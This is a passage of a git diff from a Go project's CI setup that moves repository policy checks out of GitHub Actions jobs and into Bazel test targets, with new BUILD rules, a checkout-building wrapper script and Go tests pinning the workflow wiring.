contains(gate.Needs, "pr-policy-wrapper") { + t.Errorf("ci-gate needs the retired pr-policy-wrapper: %v", gate.Needs) } - - for _, required := range []string{"PR_POLICY_WRAPPER", "PR_LINT_WRAPPER"} { - if !strings.Contains(gateEnv["CI_GATE_REQUIRED"], required) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", required) - } + if _, found := gateEnv["PR_POLICY_WRAPPER"]; found { + t.Errorf("ci-gate env still sets PR_POLICY_WRAPPER") + } + if contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "PR_POLICY_WRAPPER") { + t.Errorf("ci-gate CI_GATE_REQUIRED still lists PR_POLICY_WRAPPER") + } + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_TEST") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_TEST, the lane that now runs the policy checks") } // F5.1/F5.4: the deleted `lint` job's LINT id must not linger in the gate. @@ -1221,17 +1241,17 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { if want := sameRepoPlatformsMatrixMarkerRunsOn; job.RunsOn != want { t.Errorf("check-doc-freshness-platforms runs-on = %q, want %q", job.RunsOn, want) } + // The Linux leg runs in Bazel (TestDocFreshnessLinuxLegRunsInBazel); + // macOS and Windows have no remote workers and stay here. wantMatrix := map[string]string{ - "ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows", } // F7b: each host's include tuple also carries a "runner" marker - // (same-repo-linux/-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn + // (same-repo-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn // resolves against; check it matches the host instead of treating it as an // unexpected field. wantRunnerMarker := map[string]string{ - "ubuntu-latest": "same-repo-linux", "macos-latest": "same-repo-macos", "windows-latest": "same-repo-windows", } @@ -2988,7 +3008,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, - "pr-policy-wrapper": sameRepoBlacksmith4vcpu, "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, "windows-test-binaries": sameRepoBlacksmith8vcpu, // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo @@ -3174,14 +3193,14 @@ func TestBlacksmithJobsReadNoSecrets(t *testing.T) { // Actions expression evaluator instead of a hand-written Go mirror // (review SF-3). That file is shared with F7c. -// TestPRCIGateFastChecksTokens pins pr.yml's F7a fold of five formerly -// standalone jobs (check-build-tags, check-version-consistency, -// check-migration-hygiene, check-no-beads-changes, fmt-check) into -// fast-checks' five steps: each step's id, its outputs entry, and the -// CI_GATE_REQUIRED token/env mapping that lets ci-gate still red the exact -// same token a failing check reddened before the fold. It also pins the -// FAST_CHECKS backstop token (the job's own .result), which gives ci-gate.sh -// one clear line if the whole job is lost before any step reports. +// TestPRCIGateFastChecksTokens pins pr.yml's fast-checks job, the base-diff +// checks no Bazel target can hold (check-migration-hygiene.sh's delta half +// and the .beads/issues.jsonl guard): each step's id, its outputs entry, and +// the CI_GATE_REQUIRED token/env mapping, plus the FAST_CHECKS backstop +// token (the job's own .result), which gives ci-gate.sh one clear line if the +// whole job is lost before any step reports. The job's former tree checks +// are Bazel tests (TestPRPolicyChecksRunAsBazelTargets); their tokens must +// not linger. func TestPRCIGateFastChecksTokens(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, "fast-checks") @@ -3196,23 +3215,22 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Errorf("ci-gate does not require fast-checks' own result as the FAST_CHECKS backstop: required=%v env=%q", required, gateStep.Env["FAST_CHECKS"]) } - // stepID -> (job output name, CI_GATE_REQUIRED token). - mapping := map[string]struct{ output, token string }{ - "build-tags": {"build-tags", "CHECK_BUILD_TAGS"}, - "version-consistency": {"version-consistency", "CHECK_VERSION_CONSISTENCY"}, - "migration-hygiene": {"migration-hygiene", "CHECK_MIGRATION_HYGIENE"}, - "no-beads-changes": {"no-beads-changes", "CHECK_NO_BEADS_CHANGES"}, - "fmt": {"fmt", "FMT_CHECK"}, + // stepID -> (step name, job output name, CI_GATE_REQUIRED token). + mapping := map[string]struct{ name, output, token string }{ + "migration-hygiene": {"Run migration hygiene checks", "migration-hygiene", "CHECK_MIGRATION_HYGIENE"}, + "no-beads-changes": {"Check for .beads/issues.jsonl changes", "no-beads-changes", "CHECK_NO_BEADS_CHANGES"}, + } + if len(job.Steps) != len(mapping)+1 { + t.Errorf("fast-checks has %d steps, want checkout plus %d: a tree-only check belongs in a Bazel target", len(job.Steps), len(mapping)) + } + if len(job.Outputs) != len(mapping) { + t.Errorf("fast-checks outputs = %v, want exactly %d", job.Outputs, len(mapping)) } for stepID, m := range mapping { - step := job.step(t, map[string]string{ - "build-tags": "Check build-tag policy", "version-consistency": "Check all versions match", - "migration-hygiene": "Run migration hygiene checks", "no-beads-changes": "Check for .beads/issues.jsonl changes", - "fmt": "Check gofmt", - }[stepID]) - // Every step runs on both PR triggers, merge_group included (the - // .beads diff takes merge_group.base_sha there), so the gate - // excuses none of their skips. + step := job.step(t, m.name) + // Both steps run on both PR triggers, merge_group included (the + // diffs take merge_group.base_sha there), so the gate excuses none + // of their skips. wantIf := "${{ !cancelled() }}" if step.ID != stepID || step.If != wantIf { t.Errorf("fast-checks step %q: id %q, if %q; want id %q, if %q", step.Name, step.ID, step.If, stepID, wantIf) @@ -3229,6 +3247,11 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Errorf("ci-gate env %s = %q, want %q", m.token, gateStep.Env[m.token], wantEnv) } } + for _, retired := range []string{"CHECK_BUILD_TAGS", "CHECK_VERSION_CONSISTENCY", "FMT_CHECK"} { + if contains(required, retired) || gateStep.Env[retired] != "" { + t.Errorf("ci-gate still carries %s; that check is a Bazel test now", retired) + } + } // Merge queue: the .beads guard runs on merge_group too, diffing // against the queue's base commit (a merge group has no base_ref), and // the gate no longer excuses its skip there. @@ -3242,25 +3265,87 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Error("ci-gate run script excuses a CHECK_NO_BEADS_CHANGES skip; the guard runs on merge_group too") } - // Review N-6 (2026-10-03): pin the folded steps' actual commands/env, not - // just their id/if/output/token wiring. These three gaps predate F7a (the - // standalone jobs were never pinned either), but fast-checks is now one - // job, so the cost of covering them here is marginal. - buildTags := job.step(t, "Check build-tag policy") - for _, want := range []string{ - "./scripts/check-build-tags.sh", - "./scripts/check-go-install-guidance.sh", - "./scripts/check-winget-portable-alias.sh", - } { - if !strings.Contains(buildTags.Run, want) { - t.Errorf("fast-checks build-tags step run does not call %s:\n%s", want, buildTags.Run) - } - } + // The migration step runs only the delta half (checks C, D and E) of + // check-migration-hygiene.sh against the PR's base; the tree half is + // //scripts/repochecks:migration_hygiene_test. migrationHygiene := job.step(t, "Run migration hygiene checks") const wantBaseSHA = "${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha }}" if migrationHygiene.Env["BASE_SHA"] != wantBaseSHA { t.Errorf("fast-checks migration-hygiene step env BASE_SHA = %q, want %q", migrationHygiene.Env["BASE_SHA"], wantBaseSHA) } + if migrationHygiene.Env["MIGRATION_HYGIENE_SCOPE"] != "delta" { + t.Errorf("fast-checks migration-hygiene step MIGRATION_HYGIENE_SCOPE = %q, want delta", migrationHygiene.Env["MIGRATION_HYGIENE_SCOPE"]) + } + if migrationHygiene.Run != "./scripts/check-migration-hygiene.sh" { + t.Errorf("fast-checks migration-hygiene step run = %q", migrationHygiene.Run) + } +} + +// TestPRPolicyChecksRunAsBazelTargets: every repository guard pr.yml's +// fast-checks, PR Policy and doc-freshness jobs used to run on a GitHub +// runner is a Bazel test (ga-96smfk.20), with no tag, so bazel.yml's `test` +// lane (--config=ci, remote) runs it and CI Gate / Required gates on it, or, +// for the integration-tagged doc-freshness suite, the integration lane. +func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { + root := bazelPolicyRoot(t) + for _, c := range []struct { + build, target, runs string + tags string + }{ + {"scripts/repochecks/BUILD.bazel", "build_tags_test", `"scripts/check-build-tags.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "workflow_tags_test", `"$(rlocationpath //scripts/checkworkflowtags)"`, ""}, + {"scripts/repochecks/BUILD.bazel", "go_install_guidance_test", `"scripts/check-go-install-guidance.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "winget_portable_alias_test", `"scripts/check-winget-portable-alias.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "migration_hygiene_test", `"MIGRATION_HYGIENE_SCOPE": "tree"`, ""}, + {"scripts/repochecks/BUILD.bazel", "fmt_test", `"scripts/ci/fmt-check.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "doc_freshness_test", `"scripts/check-doc-freshness.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "workapi_frontend_boundary_test", `"scripts/check-workapi-frontend-boundary.sh"`, ""}, + {"scripts/repochecks/BUILD.bazel", "types_gen_drift_test", `"types_gen_drift_test.sh"`, ""}, + {"internal/versioncheck/BUILD.bazel", "versioncheck_test", `"//:release_metadata_files"`, ""}, + {"scripts/BUILD.bazel", "scripts_test", `"check_testing_short_test.go"`, ""}, + {"scripts/BUILD.bazel", "doc_freshness_required_test", `"-required-suite=doc-freshness"`, `["integration-only"]`}, + {"scripts/gitattributespolicy/BUILD.bazel", "gitattributespolicy_required_host_test", `"-required-host"`, ""}, + } { + var rule string + for _, r := range bazelTopRules(readPolicyFile(t, root, c.build)) { + if strings.Contains(r, "\n name = \""+c.target+"\",\n") { + rule = r + } + } + if rule == "" { + t.Errorf("%s: no target %s", c.build, c.target) + continue + } + if !strings.Contains(rule, c.runs) { + t.Errorf("%s:%s no longer names %s", c.build, c.target, c.runs) + } + tags := regexp.MustCompile(`(?m)^ tags = (\[.*\]),$`).FindStringSubmatch(rule) + switch { + case c.tags == "" && tags != nil: + t.Errorf("%s:%s is tagged %s; untagged, it runs in the test lane", c.build, c.target, tags[1]) + case c.tags != "" && (tags == nil || tags[1] != c.tags): + t.Errorf("%s:%s tags = %v, want %s", c.build, c.target, tags, c.tags) + } + } + pr := readCIWorkflow(t, "pr.yml") + for name, job := range pr.Jobs { + for _, step := range job.Steps { + for _, moved := range []string{ + "check-build-tags.sh", "check-go-install-guidance.sh", "check-winget-portable-alias.sh", + "check-versions.sh", "make fmt-check", "check-doc-freshness.sh", "make ci-pr-policy", "make api-check", + } { + if strings.Contains(step.Run, moved) { + t.Errorf("pr.yml job %s step %q still runs %s, which is a Bazel test", name, step.Name, moved) + } + } + } + } + freshness := pr.job(t, "check-doc-freshness-platforms") + for _, tuple := range freshness.Strategy.Matrix.Include { + if tuple.ExpectedGOOS == "linux" { + t.Errorf("check-doc-freshness-platforms still has a Linux leg (%s); Bazel runs it", tuple.OS) + } + } } // Review N-6 (2026-10-03): test-windows-small's dbproxy-server leg must keep @@ -4722,7 +4807,7 @@ func TestBazelIntegrationJob(t *testing.T) { } assertTestStepKeepsExitStatus(t, test) count := job.step(t, "Every target and shard ran tests") - const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test` + const wantCount = `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test --not-go //scripts/repochecks:all` if strings.TrimSpace(count.Run) != wantCount || count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || (count.ContinueOnError != nil && count.ContinueOnError != false) { diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index cfe8b8098..c41371b52 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -10,6 +10,26 @@ go_test( data = ["//:.gitattributes"], ) +# pr.yml's check-doc-freshness-platforms Linux leg: `go test +# -tags integration ./scripts/gitattributespolicy -args -required-host +# -expected-goos linux` (the macOS and Windows legs stay in pr.yml): TestMain +# fails unless the EOL boundary test ran exactly once and passed on a Linux +# host. No file here is integration-tagged, so it runs in the ci lane. +go_test( + name = "gitattributespolicy_required_host_test", + srcs = [ + "git_boundary_test.go", + "gitattributes_policy_test.go", + "required_host_test.go", + ], + args = [ + "-required-host", + "-expected-goos", + "linux", + ], + data = ["//:.gitattributes"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/pr_preflight_test.go b/scripts/pr_preflight_test.go index a49dd6c5f..1d5a9354b 100644 --- a/scripts/pr_preflight_test.go +++ b/scripts/pr_preflight_test.go @@ -3,7 +3,6 @@ package scripts_test import ( - "errors" "os" "os/exec" "path/filepath" @@ -766,14 +765,3 @@ func requireFlagValue(t *testing.T, args []string, flag string) string { t.Fatalf("missing %s value in %q", flag, args) return "" } - -func exitCode(err error) int { - if err == nil { - return 0 - } - var exitErr *exec.ExitError - if errors.As(err, &exitErr) { - return exitErr.ExitCode() - } - return -1 -} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 291ae121e..200dfc7d8 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1819,6 +1819,18 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // pinned ones above, and no .bzl macro, may select, skip or switch off // tests through its args, env or anything else. ruleNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|TESTBRIDGE_TEST_ONLY|test_filter|flaky\s*=\s*(True|1|[A-Za-z_])`) + // Second runs over tests another target already runs in full: the + // selection is the point (a required-suite contract that checks it), and + // nothing leaves the lanes. Pinned to exactly these args. + extraRunVariants := map[string][]string{ + // The doc-freshness suite (also run by //scripts:scripts_test) under + // -required-suite, as pr.yml's former Linux doc-freshness leg ran it. + "//scripts:doc_freshness_required_test": { + "-test.count=1", + "-test.run=^(TestDocFreshness.*|TestRequiredSuiteContract)$$", + "-required-suite=doc-freshness", + }, + } err = filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { if err != nil { return err @@ -1849,7 +1861,18 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { for _, unit := range units { if !isBzl { if name := nameRe.FindStringSubmatch(unit); name != nil { - if _, pinned := want["//"+pkg+":"+name[1]]; pinned { + label := "//" + pkg + ":" + name[1] + if _, pinned := want[label]; pinned { + continue + } + if wantArgs, ok := extraRunVariants[label]; ok { + var args []string + for _, q := range quoted.FindAllStringSubmatch(bazelAttrBlock(unit, "args"), -1) { + args = append(args, q[1]) + } + if !reflect.DeepEqual(args, wantArgs) { + t.Errorf("%s args = %q, want exactly %q", label, args, wantArgs) + } continue } } diff --git a/scripts/release_script_test.go b/scripts/release_script_test.go index a4d7442a4..378f8c51a 100644 --- a/scripts/release_script_test.go +++ b/scripts/release_script_test.go @@ -218,17 +218,6 @@ func releaseFormulaPath(t *testing.T) string { return filepath.Join(sourceRepoRoot(t), ".beads", "formulas", "beads-release.formula.toml") } -func sourceRepoRoot(t *testing.T) string { - t.Helper() - _, file, _, ok := runtime.Caller(0) - if !ok { - t.Fatal("runtime.Caller failed") - } - // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it - // under the runfiles root, which holds the files scripts_test declares. - return filepath.Dir(bazeltest.CallerDir(file, "scripts")) -} - func runReleaseDryRun(t *testing.T, repo, bin string) (string, error) { t.Helper() return runReleaseDryRunWithEnv(t, repo, bin, "BD=") @@ -259,15 +248,6 @@ func runReleaseDryRunWithEnv(t *testing.T, repo, bin string, extraEnv ...string) return string(out), err } -func msysPath(path string) string { - path = filepath.Clean(path) - path = filepath.ToSlash(path) - if len(path) >= 3 && path[1] == ':' && path[2] == '/' { - return "/" + strings.ToLower(path[:1]) + path[2:] - } - return path -} - func shellPath(t *testing.T, path string) string { t.Helper() clean := filepath.Clean(path) diff --git a/scripts/repo_helpers_test.go b/scripts/repo_helpers_test.go new file mode 100644 index 000000000..c44695897 --- /dev/null +++ b/scripts/repo_helpers_test.go @@ -0,0 +1,47 @@ +package scripts_test + +// Helpers shared by the package's test files, kept apart so a focused +// go_test over a few of them (//scripts:doc_freshness_required_test) compiles +// without the rest of the package. + +import ( + "errors" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +func sourceRepoRoot(t *testing.T) string { + t.Helper() + _, file, _, ok := runtime.Caller(0) + if !ok { + t.Fatal("runtime.Caller failed") + } + // Under Bazel the caller path is workspace-relative; CallerDir rebuilds it + // under the runfiles root, which holds the files scripts_test declares. + return filepath.Dir(bazeltest.CallerDir(file, "scripts")) +} + +func msysPath(path string) string { + path = filepath.Clean(path) + path = filepath.ToSlash(path) + if len(path) >= 3 && path[1] == ':' && path[2] == '/' { + return "/" + strings.ToLower(path[:1]) + path[2:] + } + return path +} + +func exitCode(err error) int { + if err == nil { + return 0 + } + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { + return exitErr.ExitCode() + } + return -1 +} diff --git a/scripts/repochecks/BUILD.bazel b/scripts/repochecks/BUILD.bazel new file mode 100644 index 000000000..180425feb --- /dev/null +++ b/scripts/repochecks/BUILD.bazel @@ -0,0 +1,353 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:repo_subset.bzl", "repo_subset") + +# Repository guards that pr.yml's fast-checks and PR Policy jobs ran with +# `./scripts/check-*.sh` on a full checkout, as Bazel tests over exactly the +# files each guard reads (tools/bazel/repo_subset.bzl), so a cached pass is +# reused until one of those files changes. run_check.sh lays each slice out as +# a throwaway git checkout (the guards use git ls-files / git grep) and runs +# the guard from its root. No tags: they run in bazel.yml's `test` lane +# (--config=ci), remotely, and gate through CI Gate / Required. None of them +# is a Go test binary, so every target here is exempt from +# tools/bazel/check_testcases.py's Go testcase count (--not-go +# //scripts/repochecks:all in bazel.yml's integration lane). +# +# What each slice holds must cover what its guard reads: a renamed input fails +# the build (repo_subset rejects a pattern that matches nothing), and a guard +# over a slice missing a file it names fails rather than passing (e.g. +# check-doc-freshness.sh's "missing document" / "path does not exist"). + +# run_check.sh and repo_subset themselves: include and exclude patterns, the +# checkout layout and --env (testdata/assert_tree.sh says what it expects). +repo_subset( + name = "run_check_fixture", + srcs = ["//:repo_files"], + include = [ + "scripts/repochecks/testdata/*.txt", + "scripts/repochecks/testdata/assert_tree.sh", + "scripts/repochecks/testdata/sub/**", + ], + exclude = ["scripts/repochecks/testdata/sub/deep/**"], +) + +sh_test( + name = "run_check_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :run_check_fixture)", + "--env", + "PROBE=$(rlocationpath testdata/a.txt)", + "--", + "scripts/repochecks/testdata/assert_tree.sh", + ], + data = [ + "testdata/a.txt", + ":run_check_fixture", + ], +) + +# check-build-tags.sh: every `go build|test|run|generate|install` in a shell +# script, hook or the Makefile builds with gms_pure_go, and every Bazel user +# (incl. the workflows) is covered by .bazelrc's tag. Its git ls-files +# pathspecs, as a slice. +repo_subset( + name = "build_tags_files", + srcs = ["//:repo_files"], + include = [ + "**/*.sh", + ".bazelrc", + ".github/scripts/**", + ".github/workflows/*.yml", + ".githooks/**", + "Makefile", + ], +) + +sh_test( + name = "build_tags_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :build_tags_files)", + "--", + "scripts/check-build-tags.sh", + ], + data = [":build_tags_files"], +) + +repo_subset( + name = "workflow_files", + srcs = ["//:repo_files"], + include = [".github/workflows/*.yml"], +) + +# scripts/checkworkflowtags (`go run ./scripts/checkworkflowtags` in +# scripts/ci/pr-policy.sh): the workflows' direct go commands declare +# gms_pure_go. +sh_test( + name = "workflow_tags_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :workflow_files)", + "--", + "$(rlocationpath //scripts/checkworkflowtags)", + ], + data = [ + ":workflow_files", + "//scripts/checkworkflowtags", + ], +) + +# check-go-install-guidance.sh `git grep`s every tracked file, so its slice is +# the whole checkout: //:repo_files plus the one tracked file under the +# .bazelignore'd .beads/. +repo_subset( + name = "all_files", + srcs = ["//:repo_files"], + include = ["**/*"], +) + +repo_subset( + name = "beads_formula_files", + srcs = ["@beads_formulas//:beads-release.formula.toml"], + include = ["beads-release.formula.toml"], + tree_prefix = ".beads/formulas/", +) + +sh_test( + name = "go_install_guidance_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :all_files)", + "--tree", + "$(rlocationpath :beads_formula_files)", + "--", + "scripts/check-go-install-guidance.sh", + ], + data = [ + ":all_files", + ":beads_formula_files", + ], +) + +repo_subset( + name = "winget_files", + srcs = ["//:repo_files"], + include = [ + "scripts/check-winget-portable-alias.sh", + "winget/*.installer.yaml", + ], +) + +# check-winget-portable-alias.sh: every nested-portable winget installer +# carries PortableCommandAlias: bd (GH#4908). yq comes from the executor, as +# for //scripts:scripts_test. +sh_test( + name = "winget_portable_alias_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :winget_files)", + "--", + "scripts/check-winget-portable-alias.sh", + ], + data = [":winget_files"], +) + +repo_subset( + name = "migration_files", + srcs = ["//:repo_files"], + include = [ + "internal/storage/schema/migrations/**", + "scripts/check-migration-hygiene.sh", + ], +) + +# check-migration-hygiene.sh's tree half (checks A and B: duplicate versions, +# nondeterministic SQL and its allowlist). The delta half (C, D and E, which +# diff against the PR's base) stays in pr.yml's pr-diff-checks job. +sh_test( + name = "migration_hygiene_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :migration_files)", + "--", + "scripts/check-migration-hygiene.sh", + ], + data = [":migration_files"], + env = {"MIGRATION_HYGIENE_SCOPE": "tree"}, +) + +repo_subset( + name = "go_files", + srcs = ["//:repo_files"], + include = [ + "**/*.go", + "scripts/ci/fmt-check.sh", + "scripts/ci/gofmt-bin.sh", + ], +) + +# `make fmt-check` (scripts/ci/fmt-check.sh): gofmt -l over every Go file, +# with the registered SDK's gofmt (go.mod's toolchain; the policy tests pin +# the two together), which is what gofmt-bin.sh resolves from go.mod. +sh_test( + name = "fmt_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :go_files)", + "--env", + "GOFMT=$(rlocationpath @go_sdk//:bin/gofmt)", + "--", + "scripts/ci/fmt-check.sh", + ], + data = [ + ":go_files", + "@go_sdk//:bin/gofmt", + ], +) + +# check-doc-freshness.sh: the reference docs it lists, DOC_INVENTORY.md, and +# each doc's freshness sources, whose existence it checks (a Bazel package's +# BUILD.bazel stands in for a directory source). Keep in step with its DOCS +# list; a doc or source missing here fails the test. +# +# The guard compares Last reviewed markers with today's date, which is not in +# the action key: a cached pass stands until one of these files changes, and +# nightly (--config=fresh) re-runs it against the date. +repo_subset( + name = "doc_freshness_files", + srcs = ["//:repo_files"], + include = [ + ".buildflags", + ".github/workflows/main.yml", + ".github/workflows/pr.yml", + ".golangci.yml", + "Makefile", + "cmd/bd/ado*.go", + "cmd/bd/config.go", + "cmd/bd/dolt.go", + "cmd/bd/errors.go", + "cmd/bd/find_duplicates.go", + "cmd/bd/init.go", + "cmd/bd/init_safety.go", + "cmd/bd/init_safety_help.go", + "cmd/bd/init_safety_test.go", + "cmd/bd/main.go", + "cmd/bd/output.go", + "cmd/bd/protocol/json_contract_test.go", + "cmd/bd/serve.go", + "cmd/bd/setup*.go", + "docs/getting-started/ide-setup.md", + "docs/integrations/azure-devops.md", + "docs/recovery/init-safety.md", + "docs/reference/configuration.md", + "docs/reference/json-schema.md", + "engdocs/CI_CLEANUP_PLAN.md", + "engdocs/CI_TEST_SURFACE_AUDIT.md", + "engdocs/DOC_INVENTORY.md", + "engdocs/ERROR_HANDLING.md", + "engdocs/LINTING.md", + "engdocs/SERVE_RUNBOOK.md", + "engdocs/design/otel/otel-data-model.md", + "internal/ado/BUILD.bazel", + "internal/compact/haiku.go", + "internal/configfile/BUILD.bazel", + "internal/hooks/BUILD.bazel", + "internal/httpapi/auth.go", + "internal/httpapi/events_watch.go", + "internal/httpapi/server.go", + "internal/recipes/BUILD.bazel", + "internal/storage/dolt/store.go", + "internal/telemetry/BUILD.bazel", + "scripts/check-doc-freshness.sh", + "scripts/ci/pr-lint.sh", + "scripts/pr-lint/BUILD.bazel", + ], +) + +sh_test( + name = "doc_freshness_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :doc_freshness_files)", + "--", + "scripts/check-doc-freshness.sh", + ], + data = [":doc_freshness_files"], +) + +repo_subset( + name = "workapi_files", + srcs = ["//:repo_files"], + include = [ + "internal/workapi/**", + "scripts/check-workapi-frontend-boundary.sh", + ], +) + +# check-workapi-frontend-boundary.sh: internal/workapi reads no cwd- or +# environment-derived state (the symbol half of the depguard rule). +sh_test( + name = "workapi_frontend_boundary_test", + srcs = ["run_check.sh"], + args = [ + "--tree", + "$(rlocationpath :workapi_files)", + "--", + "scripts/check-workapi-frontend-boundary.sh", + ], + data = [":workapi_files"], +) + +# `make api-check`'s drift half: internal/httpapi/apigen/types.gen.go is +# exactly what oapi-codegen (go.mod's version, the `go tool` doc.go's +# go:generate runs) makes of the spec. Its `go test ./internal/httpapi/...` +# half is the httpapi targets in the same lane. +sh_test( + name = "types_gen_drift_test", + srcs = ["types_gen_drift_test.sh"], + data = [ + "//:go.mod", + "//internal/httpapi/apigen:types.gen.go", + "//internal/httpapi/spec:openapi.v0.yaml", + "@com_github_oapi_codegen_oapi_codegen_v2//cmd/oapi-codegen", + "@go_sdk//:bin/go", + "@go_sdk//:files", + ], + env = { + "COMMITTED": "$(rlocationpath //internal/httpapi/apigen:types.gen.go)", + "GO": "$(rlocationpath @go_sdk//:bin/go)", + "GO_MOD": "$(rlocationpath //:go.mod)", + "OAPI_CODEGEN": "$(rlocationpath @com_github_oapi_codegen_oapi_codegen_v2//cmd/oapi-codegen)", + "SPEC": "$(rlocationpath //internal/httpapi/spec:openapi.v0.yaml)", + }, +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/repochecks/run_check.sh b/scripts/repochecks/run_check.sh new file mode 100755 index 000000000..3bfaaf125 --- /dev/null +++ b/scripts/repochecks/run_check.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# run_check.sh: run a repository guard over a declared slice of the checkout. +# +# run_check.sh [--tree MANIFEST]... [--env NAME=RLOCATION]... \ +# [--path RLOCATION]... -- PROGRAM [ARG...] +# +# The guards under scripts/ (check-build-tags.sh, fmt-check.sh, ...) walk the +# repository root above their own directory, often with `git ls-files` or +# `git grep`. Under `bazel test` they get instead a throwaway checkout built +# from exactly their declared inputs: +# +# --tree MANIFEST a repo_subset manifest (tools/bazel/repo_subset.bzl), +# as an rlocation path: every file it lists is copied +# (dereferenced) to its checkout path, then the tree is +# `git add`ed, so git ls-files/grep see those files. +# --env NAME=RLOC export NAME as the absolute path of a runfile (e.g. +# GOFMT=). +# --path RLOC put the runfile's directory first on PATH. +# +# PROGRAM is a checkout path (scripts/check-build-tags.sh) when the tree holds +# it, so the guard resolves its repository root to the tree; otherwise an +# rlocation path (a Bazel-built tool). It runs from the tree's root. +set -euo pipefail + +runfiles="${TEST_SRCDIR:?run_check.sh runs under bazel test}" +tree="${TEST_TMPDIR:?}/checkout" +manifests=() +path_dirs=() +envs=() +while [[ $# -gt 0 ]]; do + case "$1" in + --tree) manifests+=("$2"); shift 2 ;; + --env) envs+=("$2"); shift 2 ;; + --path) path_dirs+=("$2"); shift 2 ;; + --) shift; break ;; + *) echo "run_check.sh: unknown argument $1" >&2; exit 2 ;; + esac +done +[[ $# -ge 1 ]] || { echo "run_check.sh: no PROGRAM" >&2; exit 2; } +[[ ${#manifests[@]} -gt 0 ]] || { echo "run_check.sh: no --tree" >&2; exit 2; } + +rm -rf "$tree" +mkdir -p "$tree" +files=0 +for m in "${manifests[@]}"; do + while read -r rel rloc; do + [[ -n "$rel" ]] || continue + mkdir -p "$tree/$(dirname "$rel")" + cp -L "$runfiles/$rloc" "$tree/$rel" + files=$((files + 1)) + done <"$runfiles/$m" +done +echo "run_check.sh: checkout of $files declared files" + +git -C "$tree" init -q +git -C "$tree" add -f -A . + +for e in "${envs[@]+"${envs[@]}"}"; do + export "${e%%=*}=$runfiles/${e#*=}" +done +for p in "${path_dirs[@]+"${path_dirs[@]}"}"; do + PATH="$(dirname "$runfiles/$p"):$PATH" +done +export PATH + +program="$1" +shift +if [[ -e "$tree/$program" ]]; then + program="$tree/$program" +else + program="$runfiles/$program" +fi +cd "$tree" +exec "$program" "$@" diff --git a/scripts/repochecks/testdata/a.txt b/scripts/repochecks/testdata/a.txt new file mode 100644 index 000000000..789819226 --- /dev/null +++ b/scripts/repochecks/testdata/a.txt @@ -0,0 +1 @@ +a diff --git a/scripts/repochecks/testdata/assert_tree.sh b/scripts/repochecks/testdata/assert_tree.sh new file mode 100755 index 000000000..e8582467a --- /dev/null +++ b/scripts/repochecks/testdata/assert_tree.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +# Run by //scripts/repochecks:run_check_test through run_check.sh: the +# checkout holds exactly the slice's files, at their repository paths, under +# git, from the checkout root, with --env exported as an absolute path. +set -euo pipefail +want="scripts/repochecks/testdata/a.txt +scripts/repochecks/testdata/assert_tree.sh 